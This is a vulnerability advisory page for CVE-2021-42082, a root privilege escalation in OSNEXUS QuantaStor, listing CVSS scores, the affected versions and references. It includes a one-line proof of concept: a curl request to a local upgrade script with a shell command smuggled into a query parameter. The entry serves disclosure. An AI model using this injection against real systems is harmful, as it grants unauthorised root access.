CVEvulnerability
CVE-2021-42082
7.8 HIGH
Official page ↗
- Status
- Modified
- Published
- 2023-07-10
- Last modified
- 2026-06-17
- Assigner
- [email protected]
- CVSS 3.1 ([email protected])
- 7.8 HIGH — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- CVSS 3.1 ([email protected])
- 7.8 HIGH — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-269
Description
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Affected configurations
• osnexus quantastor (< 6.0.0.355)
Related
Weakness · CWE (1)
- CWE-269 Improper Privilege Management weakness
References
- https://csirt.divd.nl/CVE-2021-42082 Third Party Advisory
- https://csirt.divd.nl/DIVD-2021-00020/ csirt.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory
- https://csirt.divd.nl/CVE-2021-42082 Third Party Advisory
- https://www.divd.nl/DIVD-2021-00020 www.divd.nl
- https://www.osnexus.com/products/software-defined-storage Product
- https://www.wbsec.nl/osnexus Third Party Advisory